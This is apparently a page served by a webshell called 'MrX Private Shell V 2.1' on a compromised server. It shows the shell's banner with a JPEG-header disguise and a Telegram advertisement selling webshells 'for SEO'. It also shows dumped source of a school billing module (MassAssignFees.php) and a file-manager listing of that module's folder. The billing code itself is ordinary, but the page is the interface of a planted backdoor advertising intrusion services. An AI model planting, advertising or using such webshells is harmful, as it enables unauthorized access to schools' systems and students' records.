����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
if ( $_REQUEST['modfunc'] === 'save' )
{
if ( ! empty( $_REQUEST['student'] )
&& AllowEdit() )
{
//FJ fix SQL bug invalid amount
if ( is_numeric( $_REQUEST['amount'] ) )
{
$due_date = RequestedDate( 'due', '' );
// Group SQL inserts.
$sql = '';
foreach ( (array) $_REQUEST['student'] as $student_id )
{
$sql .= DBInsertSQL(
'billing_fees',
[
'SYEAR' => UserSyear(),
'SCHOOL_ID' => UserSchool(),
'STUDENT_ID' => (int) $student_id,
'TITLE' => $_REQUEST['title'],
'AMOUNT' => $_REQUEST['amount'],
'ASSIGNED_DATE' => DBDate(),
'DUE_DATE' => $due_date,
'COMMENTS' => $_REQUEST['comments'],
// @since 11.2 Add CREATED_BY column to billing_fees & billing_payments tables
'CREATED_BY' => DBEscapeString( User( 'NAME' ) ),
]
);
}
if ( $sql )
{
DBQuery( $sql );
$note[] = button( 'check' ) . ' ' . _( 'That fee has been added to the selected students.' );
}
}
else
{
$error[] = _( 'Please enter a valid Amount.' );
}
}
else
{
$error[] = _( 'You must choose at least one student.' );
}
// Unset modfunc & redirect URL.
RedirectURL( 'modfunc' );
}
if ( ! $_REQUEST['modfunc'] )
{
DrawHeader( ProgramTitle() );
echo ErrorMessage( $error );
echo ErrorMessage( $note, 'note' );
if ( $_REQUEST['search_modfunc'] === 'list' )
{
echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=save' ) . '" method="POST">';
DrawHeader( '', SubmitButton( _( 'Add Fee to Selected Students' ) ) );
echo '<br />';
PopTable( 'header', _( 'Fee' ) );
echo '<table><tr><td>' . TextInput(
'',
'title',
_( 'Title' ),
'required size="20"'
) . '</td></tr>';
echo '<tr><td>' . TextInput(
'',
'amount',
_( 'Amount' ),
' type="number" step="0.01" max="999999999999" min="-999999999999" required'
) . '</td></tr>';
echo '<tr><td>' . DateInput( '', 'due', _( 'Due Date' ), false ) . '</td></tr>';
echo '<tr><td>' . TextInput(
'',
'comments',
_( 'Comment' ),
'maxlength="1000" size="25"'
) . '</td></tr></table>';
PopTable( 'footer' );
echo '<br />';
}
$extra['link'] = [ 'FULL_NAME' => false ];
$extra['SELECT'] = ",NULL AS CHECKBOX";
$extra['functions'] = [ 'CHECKBOX' => 'MakeChooseCheckbox' ];
$extra['columns_before'] = [ 'CHECKBOX' => MakeChooseCheckbox( 'required', 'STUDENT_ID', 'student' ) ];
$extra['new'] = true;
Search( 'student_id', $extra );
if ( $_REQUEST['search_modfunc'] === 'list' )
{
echo '<br /><div class="center">' . SubmitButton( _( 'Add Fee to Selected Students' ) ) . '</div>';
echo '</form>';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| DailyTransactions.php | File | 1.28 KB | 0644 |
|
| MassAssignFees.php | File | 2.61 KB | 0644 |
|
| MassAssignPayments.php | File | 2.6 KB | 0644 |
|
| Menu.php | File | 1.39 KB | 0644 |
|
| Statements.php | File | 2.06 KB | 0644 |
|
| StudentBalances.php | File | 1.9 KB | 0644 |
|
| StudentFees.php | File | 7.31 KB | 0644 |
|
| StudentPayments.php | File | 7.59 KB | 0644 |
|
| functions.inc.php | File | 9.53 KB | 0644 |
|